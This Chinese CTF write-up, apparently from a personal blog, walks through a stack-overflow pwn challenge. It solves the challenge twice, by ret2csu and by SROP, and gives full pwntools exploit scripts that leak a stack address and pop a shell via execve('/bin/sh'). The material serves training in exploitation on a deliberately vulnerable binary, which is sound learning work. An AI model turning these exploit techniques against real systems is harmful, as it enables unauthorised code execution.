获取中...

-

Just a minute...

国赛线下的一道题目,多种方法记录一下

基本信息

1
2
3
4
5
6
7
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=af580816080db5e4d1d93a271087adaee29028e8, not stripped

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

ida查看

vuln函数

1
2
3
4
5
6
7
8
9
signed __int64 vuln()
{
signed __int64 result; // rax

__asm { syscall; LINUX - sys_read }
result = 1LL;
__asm { syscall; LINUX - sys_write }
return result;
}

有两个系统调用,sys_read和sys_write,即 read(0,&buf,0x400),write(1,&buf,0x30),read第一个参数赋值给rdi,第二个参数赋值为rsi,第三个参数赋值为rdx。但是往栈上写数据(0x400),从栈上读数据(0x30),这里可以通过溢出来劫持eip。

gadget函数

1
2
3
4
5
6
7
8
9
.text:00000000004004D6 ; __unwind {
.text:00000000004004D6 push rbp
.text:00000000004004D7 mov rbp, rsp
.text:00000000004004DA mov rax, 0Fh
.text:00000000004004E1 retn
.text:00000000004004E1 gadgets endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2 ; ---------------------------------------------------------------------------
.text:00000000004004E2 mov rax, 3Bh

gadget函数里面有mov rax,0fh 以及mov rax 3Bh,这两个gadget控制了rax的值。分别对应的系统调用是

stub_execve 的调用号 为 59(3B)

stub_rt_sigreturn 的调用号 为 15(F)

sys_read 的调用号 为 3

sys_write 的调用号 为 4

方法一(ret2__libc_csu_init)

59号系统调用是execve,想办法控制寄存器的值调用execve(“/bin/sh”,0,0),需要将sys_execve 的调用号 59 赋值给 rax将第一个参数即字符串 “/bin/sh”的地址赋值给 rdi,将第二个参数 0 赋值给 rsi,将第三个参数0赋值给rdx,需要控制rdx的值,所以选择使用通用gadget,_libc_csu_init。 所以需要利用 ret2_libc_csu_init 去构造 execve(“/bin/sh”,0,0) 来 getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:0000000000400580                 mov     rdx, r13
.text:0000000000400583 mov rsi, r14
.text:0000000000400586 mov edi, r15d
.text:0000000000400589 call qword ptr [r12+rbx*8]
.text:000000000040058D add rbx, 1
.text:0000000000400591 cmp rbx, rbp
.text:0000000000400594 jnz short loc_400580
.text:0000000000400596
.text:0000000000400596 loc_400596: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400596 add rsp, 8
.text:000000000040059A pop rbx
.text:000000000040059B pop rbp
.text:000000000040059C pop r12
.text:000000000040059E pop r13
.text:00000000004005A0 pop r14
.text:00000000004005A2 pop r15
.text:00000000004005A4 retn

r13的值会给到rdx,让rbx=0,下面call的时候会变为call [r12],会去call r12指向位置的代码,我们可以调到后面的rop执行,所以需要知道栈的地址。程序没有给/bin/sh,要通过read函数手动输入,但是需要知道输入到哪里还是需要知道栈地址。当知道了栈地址和/bin/sh\x00的地址后就可以通过rop执行execve(“/bin/sh”,0,0),其中传参所用寄存器依次是rdi、rsi、rdx,分别对应/bin/sh、0 、 0 ,而要执行系统调用 还需要rax = 59。syscall可以在IDA中找到。

1
2
3
main = 0x4004ED
payload = '/bin/sh\x00' + 'b'*8 + p64(main)
p.sendline(payload)

由于程序中调用完syscall后就直接进行了retn,而且此时rsp == rbp,所以payload中p64(main)就对应的是返回地址。

调试看到

1
2
3
0x7fffffffdda0:	0x0068732f6e69622f	0x6262626262626262 <- rsp-0x10==/bin/sh\x00 + 'b'*8
0x7fffffffddb0: 0x00000000004004ED 0x0000000000400536
0x7fffffffddc0: 0x00007fffffffdeb8 0x0000000100000000

0x7fffffffddc0位置存着一处栈地址,并且这个地址离我们输入的/bin/sh\x00的距离为0x00007fffffffdeb8 - 0x7fffffffdda0 = 0x118,这个偏移是固定的,可以通过write函数打印出这个地址,然后减去这个偏移,就能得到/bin/sh的地址。

1
2
3
offset = 0x118
binsh = u64(c.recv()[32:40]) - 0x118
log.success('binsh = ' + hex(binsh)

ROPgadget –binary pwn –only ‘pop|ret’找到pop_rdi_ret地址是0x4005a3

vuln的地址是 0x4004ED

execv地址是0x4004e2

1
2
3
.text:00000000004004E2 ; ---------------------------------------------------------------------------
.text:00000000004004E2 mov rax, 3Bh
.text:00000000004004E9 retn

stsyscall地址是0x400517

1
.text:0000000000400517                 syscall                 ; LINUX - sys_write

pop_rbx_rbp_r12_r13_r14_r15地址是0x40059A

1
2
3
4
5
6
7
.text:000000000040059A                 pop     rbx
.text:000000000040059B pop rbp
.text:000000000040059C pop r12
.text:000000000040059E pop r13
.text:00000000004005A0 pop r14
.text:00000000004005A2 pop r15
.text:00000000004005A4 retn

mov_rdxr13_call地址是0x0400580

1
2
3
4
5
6
7
.text:0000000000400580                 mov     rdx, r13
.text:0000000000400583 mov rsi, r14
.text:0000000000400586 mov edi, r15d
.text:0000000000400589 call qword ptr [r12+rbx*8]
.text:000000000040058D add rbx, 1
.text:0000000000400591 cmp rbx, rbp
.text:0000000000400594 jnz short loc_400580

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
p = process('./pwn')
# p = remote()

vuln_addr = 0x4004ED
execv = 0x04004E2
pop_rdi = 0x4005a3
pop_rbx_rbp_r12_r13_r14_r15 = 0x40059A
mov_rdxr13_call = 0x0400580
syscall = 0x00400517

payload = '/bin/sh\x00' + p64(0) +p64(vuln_addr)
p.sendline(payload)
offset = 0x118
binsh = u64(p.recv()[32:40]) - 0x118
log.success('binsh = ' + hex(binsh))


payload2 = '/bin/sh\x00' + p64(0) + p64(pop_rbx_rbp_r12_r13_r14_r15) + p64(0) * 2 + p64(binsh + 0x50) + p64(0)*3
payload2 += p64(mov_rdxr13_call) + p64(execv)
payload2 += p64(pop_rdi) + p64(binsh) + p64(syscall)
p.sendline(payload2)
p.interactive()

方法二(srop)

15号系统调用sigreturn。这个系统调用是在终止信号恢复用户态环境时用的。那么我们在栈上伪造寄存器的值,那么恢复时就可将寄存器控制为我们想要的值

与方法一相同,都要先泄露栈,目的是为了泄露我们输入的/bin/sh的存放地址。

然后伪造sigreturn frame 来执行execve(“/bin/sh”,0,0)

pwntools里面有sigreturn frame 相关模块。只需要指定各个寄存器的值就好了。

1
2
.text:00000000004004DA                 mov     rax, 0Fh
.text:00000000004004E1 retn

sigreturn 地址是0x4004DA

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
#p = process('./pwn')
p = remote('node3.buuoj.cn','26708')
context(arch='amd64', os='linux')

vuln_addr = 0x4004ED
sigreturn = 0x4004DA
syscall = 0x400517

payload1 = '/bin/sh\x00' + p64(0) + p64(vuln_addr)
p.sendline(payload1)
offset = 0x118
binsh = u64(p.recv()[32:40]) - 0x118
log.success('binsh = ' + hex(binsh))

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

payload2 = '/bin/sh\x00' + p64(0) + p64(sigreturn) + p64(syscall) + str(frame)

p.sendline(payload2)
p.interactive()
相关文章
评论
分享
  • 网鼎杯部分wp

    pwnboom1分析远程已经打不通了,远程的偏移和本地的偏移不一样,只能复现一下本地的了。 首先看到流程图,代码量很大,有很大的switch语句和嵌套结构,可能是虚拟机或者是解析器。 从下图看出是一个C语言的解析器。 然后看了...

    网鼎杯部分wp
  • 数字中国创新大赛

    又是自闭的一天。。 game这一题是关于python字节码的题目,之前没有了解过,看了几篇关于python字节码的文章,死磕,手工还原。。 python字节码 12345678910111213141516171819202122...

    数字中国创新大赛
  • hitcontraining_uaf

    一道简单的uaf的题目 保护12345Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX...

    hitcontraining_uaf
Please check the parameter of comment in config.yml of hexo-theme-Annie!